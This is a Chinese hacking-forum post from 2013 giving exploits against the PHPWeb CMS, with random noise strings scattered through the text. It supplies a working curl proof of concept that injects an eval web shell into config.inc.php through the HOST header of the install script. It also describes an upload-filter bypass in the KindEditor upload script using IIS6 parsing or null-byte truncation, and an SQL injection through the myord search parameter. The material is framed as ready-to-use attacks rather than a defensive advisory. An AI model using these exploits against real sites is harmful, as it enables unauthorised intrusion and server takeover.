中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:* y9 @3 U. D/ E/ j% B' v+ y

% ]' z' N; u* l" _- I- _4 W* l, }之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码- Y$ s  u7 }( X) o2 K+ y
6 P$ ?. W  i  p8 ~  E
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件8 K+ _1 L4 y8 t  b/ r2 i
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
/ Y% F$ d, b( I6 _6 l
* d! u; W' C) |% e; q# n: V% b. m虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; x  \' o5 u2 j& t7 K" S4 \6 ~
: f% }. V" P5 g( G7 a分析:
+ k' @6 G$ _# s" m4 A! s. C
- }6 P, N% a" M" s* l
6 J! ^& ?% q3 g$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
& S1 \* L# d) @# i+ \
) l6 z9 o5 F! c) _7 q0 q                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);( d/ F" c+ W5 g0 p8 Q. T
                                            $filestr=str_replace(" ","",$filestr);
$ `1 f: o' H+ o                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
/ u8 ^1 O8 ?1 m- c7 l% o                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
2 g+ L7 z! J( o6 I- r0 y                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);' T/ f$ S' Z! N5 v( Q% @6 N/ b: d
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
+ \; v& t. B( d  d) W) _& P. P$ u8 x                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);# W3 M* l! g3 U( U8 g
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
2 G* b+ h: a& E4 @/ N9 ^                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);5 ~0 H( l* v) `$ w- A% S+ X: B, k
7 D* M- ?# y3 }5 O
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);2 j+ n+ p% ~! p  P
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^  |( c7 ]$ K2 ]0 M+ A6 L

' E3 ~9 M& o! J- P4 q& qpoc:
9 t6 l* i, X/ d6 S) `7 x 1 x' R- w# X$ n
?
# K# M4 N' m4 f; Q1
% A* C7 w9 c% R0 M0 Qcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"$ N( P0 m% {, ^% t) K
shell地址: /config.inc.php8 [9 F3 ]  I2 p1 r& F7 _1 d, P
跟之前的 phpcms一样 需要远程数据库+ i- t$ ]: `; c  p- `: E- C6 |7 G
  P1 s  E5 C' V
——————————————————–2 G8 S5 k% `6 M
上传漏洞(需要进后台):( d" J8 A6 _1 ?- P- n- \
漏洞文件: /kedit/upload_cgi/upload.php: _/ `1 i. x; a" G' I
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
& @( ]7 |6 I4 o; K2 ?2 I" o- l
4 a2 k1 u9 u$ Y5 M1 h3 Z1 r/ Z
" Z0 P( O4 u- l3 V% s& C<?php7 a# I. a0 \. T- S% N0 Q6 D
    define("ROOTPATH", "../../");
7 F3 A' g; l( z4 h  F    include(ROOTPATH."includes/admin.inc.php");
3 y8 k, J: o  u7 s$ D    NeedAuth(0);
  g( [1 s% m' C3 c2 T ! ?" X( P& d- I
    $dt=date("Ymd",time());
/ B; d4 G/ y- O+ s+ O$ p    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){2 w/ w" W6 J6 }  A
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
* J$ ?# `& w- W5 K  F8 Z' I    }/ b7 i# G6 v. M3 f, q8 `, Z8 b
& ^& ^" ], R4 S, ?
    //文件保存目录路径0 [: b* V( ~* L; {" e# R
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
: J7 F9 G3 g: `+ a2 p    echo $save_path;: z* A! }2 \/ S! h9 z
    //文件保存目录URL' ~# M8 }5 _* ?; N4 o: x- _, {6 k( `
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
+ c1 k% k: `- n6 C" Y0 G; M9 V& K
; S6 R  B, U( c$ ^- Y8 y/ m    //定义允许上传的文件扩展名' L! c- K- L- ^: L$ N* ]
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀6 t) G+ \0 I5 c

9 V  w4 y# R( R6 V8 i! g    //最大文件大小& I& o: m4 B/ }! d; l! m
    $max_size = 1000000;
. i5 D  e, o1 p/ Y$ w# R 8 x: L1 P% Y9 y$ ?1 I
    //更改目录权限
- c! e& E1 A" ]  j7 _, e5 T# g" i1 R    @mkdir($save_path, 0777);
: S! j/ G" t6 f; ?1 Q* b' [% P
0 n7 G8 a+ S7 u6 g1 o3 q    //文件的全部路径
0 |5 W# q$ p3 G. u  a$ G, y0 T$ v$ R    $file_path = $save_path.$_POST['fileName'];   //保存文件名
" \% p  |6 o7 P* c0 M) L" t " t7 n0 L3 ?# v- J
    //文件URL
- C" s6 z& S5 l8 u    $file_url = $save_url.$_POST['fileName'];: l4 E# W  r% T: l7 M8 H7 i" Q$ Z
//有上传文件时. O  [4 w# ~" k) }
    if (empty($_FILES) === false) {
* |. y* i8 F7 i% n) z 5 e. h6 |% {* e" ~5 c2 }
            //原文件名
; V1 X/ x# H! r5 I! W; C# ~            $file_name = $_FILES['fileData']['name'];
- s% z' k2 V. ]& l% }! g; H            //服务器上临时文件名
5 x# f. ~# k# {1 ]& h0 m9 q            $tmp_name = $_FILES['fileData']['tmp_name'];6 ^+ X. C; }9 M" @; A$ e" e) E4 w, W
            //文件大小* M$ F% F+ H9 L+ F! {
            $file_size = $_FILES['fileData']['size'];
; v9 s5 k3 W, c            //检查目录2 a' V. h& Q, Y3 r8 E. b$ p
            if (@is_dir($save_path) === false) {, O. j4 ]+ T: r0 G& @4 Q
                    alert("上传目录不存在。");
; i$ r3 O4 L, H; C$ `, o            }
" t2 @' D4 O" N. d9 _. p) }$ @- T* o            //检查目录写权限
7 p. |0 K& z% r2 j) r8 X, t            if (@is_writable($save_path) === false) {
& \: V  N, B8 r- P' m0 j                    alert("上传目录没有写权限。");
& m6 _- L' E. M7 O            }
9 o4 {; M/ a' ]; G) L* }            //检查是否已上传$ b" X7 U0 H+ L
            if (@is_uploaded_file($tmp_name) === false) {) L. Y  n4 P$ S) Y. ~' U4 i
                    alert("临时文件可能不是上传文件。");- d" _* k$ p  v# {# K/ {' T
            }
! H' e; S7 o2 s/ P* v! w            //检查文件大小
0 v. h& z' f! U, b* Q            if ($file_size > $max_size) {
; i# P1 V" n3 u: S' N! K. w                    alert("上传文件大小超过限制。");
0 P* S% G3 T0 x            }) r4 q- b: M1 N/ s
            //获得文件扩展名9 y  C$ a8 i) u5 G
            $temp_arr = explode(".", $_POST['fileName']);
; ?* ]  L; j& M# ]5 s0 e9 s: e! m            $file_ext = array_pop($temp_arr);
9 s+ J& [2 T( Z' X# G            $file_ext = trim($file_ext);
  E1 o* N. [5 R3 j8 g9 |            $file_ext = strtolower($file_ext);2 T. _/ u% M5 g/ l0 b! z1 p! T

' n$ g! t9 f9 h8 `            //检查扩展名   / ]* t  S* A6 e( A0 }
            if (in_array($file_ext, $ext_arr) === false) {     ; j3 }; ^  A9 g# n/ f' l
                    alert("上传文件扩展名是不允许的扩展名。");
$ v$ a" F" }: z            }3 Z5 w9 P& J3 m/ I

9 b- c' [9 A* e. _            //移动文件   % E2 u' Q/ B6 W! d0 I
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^. o& f" s; s6 J  `/ a0 L
            if (move_uploaded_file($tmp_name, $file_path) === false) {# x* [6 Q$ ]( a9 u+ P- J& D
                    alert("上传文件失败。");/ @1 \9 M, f: ]( G( u; m
            }
2 U9 Q: d: ?  u% c + t8 |; e0 x, k- r+ I' G, Y' x
            @chmod($file_path,0666);  S; z: r5 ~* ^: c! M4 J! @

7 I/ a# b) z! M: Y. s  q! p7 h6 G    ?>; e1 ^3 P+ i1 {, ~" W* X
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227" u9 s* j1 u( H# v& E

' X( n3 E( k9 @6 e* e. P% Iapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过( i/ X4 s3 d" E$ y
8 F8 _5 S1 c% B/ X* b5 S. K
——————————————————
( w1 i' I7 Y# F' n. h注入漏洞:
: h) ~4 h2 _+ ^7 W漏洞文件:search/module/search.php
' ~/ D1 E. a8 R7 \( x  D/search/index.php?key=1&myord=1 [sqlinjection]
7 i/ |, X% Z* d% }) {( N& h$ n
' q* |) |* x( O4 z$ E4 b- @7 m* t & E  ^% w- q2 h5 X  E
<?php+ \. O0 c$ I8 N4 S9 ?
   //       ... 省略 n 行...
& }. U$ h1 ~  o' R: y   //第18行:# ~# {+ Y2 \+ f' c& Q$ a; _
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响7 u% ~1 o+ h' U9 I" c/ ~
           $page=htmlspecialchars($_GET["page"]);; f9 d1 Q3 _& z2 l$ ^( ?
           $myord=htmlspecialchars($_GET["myord"]);5 s5 v' G. P% H# l3 v
# a8 ~2 F4 e1 f
   //       ... 省略 n 行...
8 i0 u9 G1 t& H1 R4 E/ |0 X! w   $key,$myord 两个参数带入查询- S" L; i4 q1 S8 o
   //第47行 $key:
5 Q0 ]( P2 U4 P  N. q, `* Q9 e5 X
) V! e+ W9 |2 l8 Q- c# V2 _   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
+ }1 f3 J5 ]  K2 R# Y
0 ^% u3 {  H* e; F* ~/ C4 e   //第197行 $myord3 D5 S  H9 H! [" E0 U
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
) v5 ^: s, M: R
$ v( _' ?6 Y4 ?' J* }   ?>
4 s0 y( p) W( R0 P/ y




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2